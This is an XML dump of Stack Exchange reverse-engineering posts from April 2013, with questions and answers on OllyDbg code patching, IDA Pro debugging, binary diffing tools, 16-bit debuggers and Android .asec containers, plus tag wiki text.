  <row Id="1868" PostTypeId="2" ParentId="1817" CreationDate="2013-04-19T17:02:25.800" Score="15" Body="&lt;p&gt;Sourcer &lt;a href=&quot;https://web.archive.org/web/20130805003617/http://users.tbc.net/%7Eclive/vcomwinp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(archived website at archive.org)&lt;/a&gt; was quite awesome, but I'm not sure it's what you need.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2023-04-05T15:18:50.313" LastActivityDate="2023-04-05T15:18:50.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1869" PostTypeId="1" AcceptedAnswerId="1875" CreationDate="2013-04-19T18:45:39.290" Score="8" ViewCount="2339" Body="&lt;p&gt;I'm working with some x86 assembly code and I need to rip from one executable and paste that code into another.&lt;/p&gt;&#xA;&lt;p&gt;Originally, I had an executable that was meant to accept two command line parameters and run a handwritten function on them. However, I ran into annoyances with using &lt;code&gt;GetCommandLine&lt;/code&gt; et al. to return the parameters in my ASM. Namely, it returned Unicode and I needed the parameters in ANSI. Rather than dealing with setting up the library calls and converting that way, I compiled a small program that uses command line arguments with the intent of reusing code.&lt;/p&gt;&#xA;&lt;p&gt;So now I have two executables:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;one with the command line parameters parsed and in their proper places&lt;/li&gt;&#xA;&lt;li&gt;two with the actual assembled function code inside of it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The first executable has the space for the function &lt;code&gt;NOP&lt;/code&gt;'d out, but I need a good way to paste the logic in. I've looked at Asm2clipboard, Code Ripper and data ripper, but they only have the functionality to rip the assembly out, but not paste it back in.&lt;/p&gt;&#xA;&lt;p&gt;I'm aware I'll have to fix addresses and things like that, but I can't find a way in Olly or other tools to move the code between the executables. I can go into HexEdit or something like that I supposed, but I was hoping there's an easier way.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="37138" LastEditDate="2021-06-17T15:31:30.780" LastActivityDate="2021-06-17T15:32:45.253" Title="Ripping/pasting code into an executable using Olly" Tags="|disassembly|pe|ollydbg|patching|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1870" PostTypeId="2" ParentId="1869" CreationDate="2013-04-19T18:59:35.993" Score="6" Body="&lt;h1&gt;disasm&lt;/h1&gt;&#xA;&lt;p&gt;use IDA (why olly only? IDA free might do the trick), or OllyDbg with BeaEngine plug-in (it has some specific ASM syntax options)&lt;/p&gt;&#xA;&lt;h1&gt;improve in the disassembler&lt;/h1&gt;&#xA;&lt;p&gt;rename as many labels as possible, using delta address - it's painful to do that later&lt;/p&gt;&#xA;&lt;h1&gt;export to ASM&lt;/h1&gt;&#xA;&lt;p&gt;rework the ASM syntax to get it re-assemblable&lt;/p&gt;&#xA;&lt;h1&gt;patch&lt;/h1&gt;&#xA;&lt;p&gt;either:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;make your ASM code EIP-independant and patch it as hex&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;re-inject it with Iczelion's &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Code_Snippet_Creator_(Iczelion)&quot; rel=&quot;noreferrer&quot;&gt;Code Snippet Creator&lt;/a&gt; (it injects your ASM code compiled as from your OBJ)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-19T19:08:59.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1871" PostTypeId="5" CreationDate="2013-04-19T21:10:22.213" Score="0" Body="&lt;p&gt;In cryptography, &lt;strong&gt;encryption&lt;/strong&gt; is the process of transforming information (referred to as plaintext) using an algorithm (called &lt;strong&gt;cipher&lt;/strong&gt;) to make it unreadable to anyone except those possessing special knowledge, usually referred to as a &lt;strong&gt;key&lt;/strong&gt;. The result of the process is &lt;strong&gt;encrypted information&lt;/strong&gt; (in cryptography, referred to as ciphertext). In many contexts, the word encryption also implicitly refers to the reverse process, &lt;strong&gt;decryption&lt;/strong&gt; (e.g. “software for encryption” can typically also perform decryption), to make the encrypted information readable again (i.e. to make it unencrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encryption may commonly be confused with &lt;a href=&quot;/questions/tagged/obfuscation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;obfuscation&amp;#39;&quot; rel=&quot;tag&quot;&gt;obfuscation&lt;/a&gt;, since both revolve around concealing the original code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encryption has long been used by militaries and governments to facilitate secret communication. Encryption is now commonly used in protecting information within many kinds of civilian systems. It can be used to protect data &quot;at rest&quot;, such as files on computers and storage devices (e.g. USB flash drives). In recent years there have been numerous reports of confidential data such as customers' personal records being exposed through loss or theft of laptops or backup drives. Encrypting such files at rest helps protect them should physical security measures fail. Digital rights management systems which prevent unauthorized use or reproduction of copyrighted material and protect software against reverse engineering (see also copy protection) are another somewhat different example of using encryption on data at rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encryption is also used to protect data in transit, for example data being transferred via networks (e.g. the Internet, e-commerce), mobile telephones, wireless microphones, wireless intercom systems, Bluetooth devices and bank automatic teller machines. There have been numerous reports of data in transit being intercepted in recent years. Encrypting data in transit also helps to secure it as it is often difficult to physically secure all access to networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encryption, by itself, can protect the confidentiality of messages, but other techniques are still needed to protect the integrity and authenticity of a message; for example, verification of a message authentication code (MAC) or a digital signature. Standards and cryptographic software and hardware to perform encryption are widely available, but successfully using encryption to ensure security may be a challenging problem. A single slip-up in system design or execution can allow successful attacks. Sometimes an adversary can obtain unencrypted information without directly undoing the encryption. See, e.g., traffic analysis, TEMPEST, or Trojan horse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the earliest public key encryption applications was called &lt;strong&gt;Pretty Good Privacy&lt;/strong&gt; (PGP). It was written in 1991 by Phil Zimmermann and was purchased by Network Associates (now PGP Corporation) in 1997.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tip: conceptual questions about encryption might get more attention and better answers from our sister site &lt;a href=&quot;https://crypto.stackexchange.com/&quot;&gt;Cryptography Stack Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Source: &lt;a href=&quot;https://en.wikipedia.org/wiki/Encryption&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="13506" LastEditDate="2019-12-07T17:27:50.297" LastActivityDate="2019-12-07T17:27:50.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1872" PostTypeId="4" CreationDate="2013-04-19T21:10:22.213" Score="0" Body="Process of encoding information such that decoding requires the knowledge of some secret (a key). This tag covers questions about obfuscated and encrypted programs, or tools, but higher level questions may get better answers on Cryptography Stack Exchange." OwnerUserId="151" LastEditorUserId="13506" LastEditDate="2019-12-13T19:46:10.397" LastActivityDate="2019-12-13T19:46:10.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1873" PostTypeId="1" AcceptedAnswerId="2447" CreationDate="2013-04-20T06:01:15.870" Score="8" ViewCount="8130" Body="&lt;p&gt;Environment:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Host: Win7 SP1 x64: VMWare Workstation 9.02, VirtualKD, IDA Pro 6.4.13 (x64) and WinDbg&lt;/li&gt;&#xA;&lt;li&gt;Guest: Win7 SP1 x64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have VirtualKD setup correctly in my guest and host.&#xA;I say this because attaching WinDbg to the guest VM through VirtualKD works flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to connect IDA Pro's WinDbg interface using instruction on &lt;a href=&quot;http://www.hexblog.com/?p=123&quot; rel=&quot;noreferrer&quot;&gt;this page&lt;/a&gt;, IDA keeps throwing the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windbg: using debugging tools from '&amp;lt;PATH&amp;gt;'&#xA;Connecting to debugger server with 'com:port=\\.\pipe\kd_Win7x64_SP1,pipe'&#xA;Connect failed: The server is currently disabled.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;VirtualKD's &lt;code&gt;vmmon&lt;/code&gt; is running on the host and shows the following:&lt;img src=&quot;https://i.stack.imgur.com/SFqc3.png&quot; alt=&quot;vmmon UI&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Turns out, It's a problem with IDA 6.4. I happened to have IDA 6.3 installed on my machine too. That worked with no issues.&#xA;Has anyone used IDA6.4 for live kernel debugging?&#xA;Can someone please tell me how I can correct this issue &lt;em&gt;in IDA 6.4&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="107" LastEditDate="2013-04-21T10:31:35.703" LastActivityDate="2013-07-10T09:17:23.110" Title="WinDbg fails to connect to IDA Pro debugger server" Tags="|windows|ida|debuggers|kernel-mode|windbg|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1874" PostTypeId="2" ParentId="1797" CreationDate="2013-04-20T07:03:32.200" Score="3" Body="&lt;p&gt;Tools like Qemu or Bochs are IMO pretty similar to DBI frameworks conceptually and they work on the entire system, including the kernel. Research efforts like &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/&quot; rel=&quot;nofollow&quot;&gt;BitBlaze&lt;/a&gt; and &lt;a href=&quot;http://dslab.epfl.ch/proj/s2e&quot; rel=&quot;nofollow&quot;&gt;S2E&lt;/a&gt; have used modified versions of Qemu to trace kernel mode components for bug finding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key difference, I think, is that Qemu/Bochs as whole system emulators do not present a by default view of the program under inspection as a DBI does. A DBI allows for dynamic editing of the program by default. Emulators have the primitives required to effect DBI, they can read and write memory and by extension program code, but they do not provide the API that PIN does for program modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best I can do is, you can use Qemu to make a kernel mode DBI and others have done this, but I don't know of something more usable out of the box. &lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2013-04-20T07:03:32.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1875" PostTypeId="2" ParentId="1869" CreationDate="2013-04-20T08:57:11.500" Score="6" Body="&lt;p&gt;For OllyDbg, it is &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select code from the CPU window &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right-click and choose &lt;code&gt;Binary&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose &lt;code&gt;Binary Copy&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the target CPU window, do the same but select &lt;code&gt;Binary Paste&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="188" LastEditDate="2013-04-20T09:50:55.303" LastActivityDate="2013-04-20T09:50:55.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1876" PostTypeId="1" AcceptedAnswerId="1877" CreationDate="2013-04-21T03:48:04.687" Score="23" ViewCount="12001" Body="&lt;p&gt;I've been trying to reverse engineer a paid android app that writes out some binary data so that I can export that data into other programs (it's a run/walk timer app, if anyone's curious, and I'm trying to get its GPS traces out). However, it looks like the apk is encrypted and stored in &lt;code&gt;/data/app-asec/[app_id].asec&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a nice &lt;a href=&quot;http://nelenkov.blogspot.com/2012/07/using-app-encryption-in-jelly-bean.html&quot;&gt;blog post&lt;/a&gt; that says the encryption used is TwoFish, with a key stored in &lt;code&gt;/data/misc/systemkeys/AppsOnSD.sks&lt;/code&gt;, but I haven't been able to decrypt the file using the naïve strategy of just using that key directly with TwoFish on the &lt;code&gt;.asec&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I decrypt this to get an apk I can actually analyze?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I realize that this information is considered somewhat delicate in places like xda-developers, since it could be used to enable piracy. I have no such intentions, I just want to examine the serialization code.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2016-07-19T02:06:19.417" Title="Analyzing encrypted Android apps (.asec)?" Tags="|android|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1877" PostTypeId="2" ParentId="1876" CreationDate="2013-04-21T06:46:50.597" Score="18" Body="&lt;p&gt;After a little bit more work and some more careful re-reading, I figured out my mistake: the files in &lt;code&gt;/data/app-asec/&lt;/code&gt; are the encrypted &lt;em&gt;containers&lt;/em&gt;. They're actually dm-crypt volumes, which then get mounted at &lt;code&gt;/mnt/asec/[app_id]&lt;/code&gt;. The &lt;code&gt;pkg.apk&lt;/code&gt; in that directory is the unencrypted apk that can be analyzed using any of the fine tools in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/46/257&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-21T06:46:50.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1879" PostTypeId="1" AcceptedAnswerId="1881" CreationDate="2013-04-21T13:57:12.093" Score="62" ViewCount="38112" Body="&lt;p&gt;I'm looking for a tool like &lt;code&gt;Beyond Compare&lt;/code&gt;, &lt;code&gt;meld&lt;/code&gt;, &lt;code&gt;kdiff&lt;/code&gt;, etc. which can be used to compare two disassembled binaries. I know that there's binary (hex) comparison, which shows difference by hex values, but I'm looking for something that shows op-codes and arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows something that can help ?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="161" LastEditDate="2013-04-21T23:15:13.780" LastActivityDate="2021-10-10T08:13:28.110" Title="how can I diff two x86 binaries at assembly code level?" Tags="|tools|binary-analysis|bin-diffing|" AnswerCount="8" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1881" PostTypeId="2" ParentId="1879" CreationDate="2013-04-21T14:47:55.590" Score="33" Body="&lt;p&gt;Unless I'm mistaken, it sounds like you are looking for a binary diffing tool. Some good options are below. &lt;strong&gt;These all require IDA Pro.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.darungrim.org/&quot; rel=&quot;noreferrer&quot;&gt;DarunGrim&lt;/a&gt; (open-source)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CHycR.jpg&quot; alt=&quot;DarunGrim&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot; rel=&quot;noreferrer&quot;&gt;BinDiff&lt;/a&gt; (commercial)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MbI2c.gif&quot; alt=&quot;BinDiff&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://research.eeye.com/html/Tools/download/DiffingSuiteSetup.exe&quot; rel=&quot;noreferrer&quot;&gt;eEye Binary Diffing Suite&lt;/a&gt; (use archive.org to download the installer)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="161" LastEditorUserId="2563" LastEditDate="2017-04-29T19:36:07.590" LastActivityDate="2017-04-29T19:36:07.590" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1882" PostTypeId="5" CreationDate="2013-04-21T16:16:56.553" Score="0" Body="" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-21T16:16:56.553" LastActivityDate="2013-04-21T16:16:56.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1883" PostTypeId="4" CreationDate="2013-04-21T16:16:56.553" Score="0" Body="Comparing 2 binaries at assembly code level" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-21T16:16:56.553" LastActivityDate="2013-04-21T16:16:56.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1884" PostTypeId="2" ParentId="1879" CreationDate="2013-04-21T16:25:56.897" Score="10" Body="&lt;p&gt;Also, there is &lt;a href=&quot;http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=tool&amp;amp;name=turbodiff&quot;&gt;Turbodiff&lt;/a&gt;, it's an IDA pro plugin.&#xA;Haven't used it yet, though so I can't say anything about the quality of the tool.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="35" LastEditDate="2013-04-21T18:56:55.107" LastActivityDate="2013-04-21T18:56:55.107" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1885" PostTypeId="2" ParentId="1817" CreationDate="2013-04-21T16:44:00.880" Score="26" Body="&lt;p&gt;Another framework to check out is &lt;a href=&quot;http://visi.kenshoto.com/viki/MainPage&quot;&gt;Vdb and Vivisect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vdb - Python based debugger and programatic debugging API&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VdbTargetVMWare32 - Kernel debugging using the vmware hypervisor&lt;/li&gt;&#xA;&lt;li&gt;VdbOnAndroid - Using vdb to debug android processes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Vivisect - Python based static analysis and emulation framework&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1807" LastEditorUserId="188" LastEditDate="2013-04-21T16:46:33.857" LastActivityDate="2013-04-21T16:46:33.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1886" PostTypeId="2" ParentId="1879" CreationDate="2013-04-21T18:29:08.533" Score="9" Body="&lt;p&gt;I'd recommend &lt;a href=&quot;http://code.google.com/p/patchdiff2&quot; rel=&quot;nofollow&quot;&gt;PatchDiff2&lt;/a&gt; too, if you're using IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Here is a description:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PatchDiff2 is a plugin for the IDA dissassembler that can analyze two IDB files and find the differences between both. PatchDiff2 is free and fully integrates with the latest version of IDA (6.1) on Windows and Linux. The plugin can perform the following tasks :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Display the list of identical functions&lt;/li&gt;&#xA;&lt;li&gt;Display the list of matched functions&lt;/li&gt;&#xA;&lt;li&gt;Display the list of unmatched functions (with the CRC)&lt;/li&gt;&#xA;&lt;li&gt;Display a flow graph for identical and matched functions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main purpose of this plugin is to be fast and give accurate results when working on a security patch or a hotfix. Therefore this tool is not made to find similar functions between two different programs. Patchdiff2 supports all processors that IDA can handle and is available in two versions: 32 bit and a 64 bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;To use all you need to do is:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unzip the two patch2diff zip and in it will be two folders holding two files for Linux and Windows just copy the patchdiff2.p64 and patchdiff2.plw to your plugins directory located in &lt;b&gt;C:\Program Files\IDA Pro Directory\plugins\ &lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open your executables you want to be diffed and save them as .idb(default).&lt;/li&gt;&#xA;&lt;li&gt;Open the .idb of the file (I noticed it fails when just diffing an exe) and in the IDA View-A tab go to Edit down to plugins and you should see PatchDiff2 just click on it and choose the secondary .idb you want to compare.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Warning this takes a while and IDA will become unresponsive. In the end you'll have a few tabs, Matched functions, Unmatched Functions, Identical Functions.&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="6992" LastEditDate="2014-11-28T00:04:56.177" LastActivityDate="2014-11-28T00:04:56.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1887" PostTypeId="2" ParentId="1852" CreationDate="2013-04-21T23:33:05.543" Score="1" Body="&lt;p&gt;Try using &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;Rohitab's API Monitor&lt;/a&gt; to use the loader to open the program and watch the failed calls. Might point you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-04-21T23:33:05.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1888" PostTypeId="5" CreationDate="2013-04-22T06:24:07.170" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/X64&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64&lt;/a&gt;&lt;/strong&gt; (also referred to as x86-64 and amd64) is a 64-bit extension of IA-32, the 32-bit generation of the x86 instruction set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes referred to more specifically, &lt;code&gt;Intel64&lt;/code&gt; is Intel's implementation of x86-64. It is used in newer versions of Pentium 4, Celeron D, Xeon and Pentium Dual-Core processors, the Atom D510, N450, N550, N2600 and N2800 and in all versions of the Pentium Extreme Edition, Core 2, Core i7, Core i5, and Core i3 processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;AMD64&lt;/code&gt; instruction set is implemented in AMD's Opteron, Athlon 64, Athlon 64 FX, Athlon 64 X2, Athlon II, Athlon X2, Turion 64, Turion 64 X2, later Sempron, Phenom, Phenom II, FX, and Fusion processors.&lt;/p&gt;&#xA;" OwnerUserId="1583" LastEditorUserId="2147" LastEditDate="2018-09-28T19:45:06.623" LastActivityDate="2018-09-28T19:45:06.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1889" PostTypeId="4" CreationDate="2013-04-22T06:24:07.170" Score="0" Body="x64 (also referred to as x86-64 and amd64) is a 64-bit extension of IA-32, the 32-bit generation of the x86 instruction set." OwnerUserId="1583" LastEditorUserId="2147" LastEditDate="2018-09-28T19:45:06.623" LastActivityDate="2018-09-28T19:45:06.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1891" PostTypeId="1" AcceptedAnswerId="1894" CreationDate="2013-04-22T09:49:45.830" Score="7" ViewCount="3035" Body="&lt;p&gt;I'm trying to debug a 16-bit Windows executable (format: New Executable). The problem is that all the standard tools (W32DASM, IDA, Olly) don't seem to support 16-bit debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you suggest any win16-debuggers?&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="188" LastEditDate="2013-04-22T10:21:23.967" LastActivityDate="2013-04-22T15:00:04.820" Title="Debugging NewExecutable binaries" Tags="|tools|debuggers|ne|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1892" PostTypeId="5" CreationDate="2013-04-22T09:52:14.930" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/New_Executable&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-22T09:52:14.930" LastActivityDate="2013-04-22T09:52:14.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1893" PostTypeId="4" CreationDate="2013-04-22T09:52:14.930" Score="0" Body="16 bits executable file format, used in Windows 1.0-3.11, OS/2 and some special version of MS-DOS." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-22T09:52:14.930" LastActivityDate="2013-04-22T09:52:14.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1894" PostTypeId="2" ParentId="1891" CreationDate="2013-04-22T09:56:50.033" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Borland_Turbo_Debugger&quot; rel=&quot;nofollow&quot;&gt;Turbo Debugger&lt;/a&gt; has a Windows 3.x version (&lt;code&gt;tdw.exe&lt;/code&gt;) that supports NewExecutable files, and works out of the box under Windows XP.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-22T12:56:03.623" LastActivityDate="2013-04-22T12:56:03.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1895" PostTypeId="2" ParentId="1891" CreationDate="2013-04-22T12:52:18.673" Score="4" Body="&lt;p&gt;Here is a &lt;a href=&quot;http://www.exetools.com/debuggers.htm&quot; rel=&quot;nofollow&quot;&gt;list and links&lt;/a&gt; to old debuggers, that had &lt;strong&gt;16-bit Windows&lt;/strong&gt; executables in list of supported binaries once. Most of them require older system installed, but You may install them in VM env, for example - &lt;a href=&quot;https://www.virtualbox.org/&quot; rel=&quot;nofollow&quot;&gt;VirtualBox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case there is a requirement for &lt;strong&gt;16bit DOS debugger&lt;/strong&gt; as well - have a look on &lt;a href=&quot;http://www.bttr-software.de/products/insight/&quot; rel=&quot;nofollow&quot;&gt;Insight debugger for DOS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-22T12:52:18.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1896" PostTypeId="2" ParentId="1891" CreationDate="2013-04-22T15:00:04.820" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://www.openwatcom.org/&quot;&gt;OpenWatcom&lt;/a&gt; has full support for Win16 including debugging, though I personally haven't tried it. It even has remote debugging support over TCP/IP, serial and a couple other protocols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Older SoftICE versions also supported Win16, you may try your luck with that.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-22T15:00:04.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1897" PostTypeId="1" AcceptedAnswerId="1900" CreationDate="2013-04-22T19:24:31.780" Score="5" ViewCount="1392" Body="&lt;p&gt;When reversing smart-cards, the &lt;a href=&quot;http://en.wikipedia.org/wiki/Side_channel_attack&quot; rel=&quot;nofollow&quot;&gt;side-channel attacks&lt;/a&gt; are known to be quite effective on hardware. But, what is it, and can it be used in software reverse-engineering and how?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-05-10T15:05:22.027" LastActivityDate="2013-05-10T15:05:22.027" Title="What is SCARE (Side-Channel Attacks Reverse-Engineering)?" Tags="|hardware|physical-attacks|smartcards|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1898" PostTypeId="1" AcceptedAnswerId="2046" CreationDate="2013-04-22T19:32:17.807" Score="8" ViewCount="903" Body="&lt;p&gt;Trying to extract data from the hardware is often quite difficult (especially when dealing with smartcards). Fault-injection attacks allow to guess cryptographic keys based on the propagation of errors through the encryption/decryption algorithm. I know some of the types of fault-injections possible, but not all.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are the different types of fault-injections possible?&lt;/li&gt;&#xA;&lt;li&gt;Do the different types of techniques offer any special advantages?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="189" LastEditDate="2013-05-14T14:19:02.503" LastActivityDate="2013-05-15T14:34:37.783" Title="What is fault-injection reverse engineering? What are the techniques involved?" Tags="|hardware|physical-attacks|smartcards|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1899" PostTypeId="1" AcceptedAnswerId="1913" CreationDate="2013-04-22T19:50:47.310" Score="14" ViewCount="6752" Body="&lt;p&gt;Are there any good resources for developing debugger plugins in IDA Pro using the SDK that describe the IDA debugger API? An example of this is the &lt;a href=&quot;http://sourceforge.net/projects/idaproarmdebug/&quot;&gt;IDA Pro ARM debugger plugin&lt;/a&gt; on Sourceforge. There seem to be few projects that have accomplished this. Specifically, how do you make a plugin in IDA which registers itself as one of the available debuggers and allows stepping through the IDA database while controlling a target? &lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="118" LastEditDate="2013-04-22T20:36:10.003" LastActivityDate="2013-04-23T13:04:38.390" Title="Creating IDA Pro debugger plugins - API documentation and examples?" Tags="|ida|debuggers|ida-plugin|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
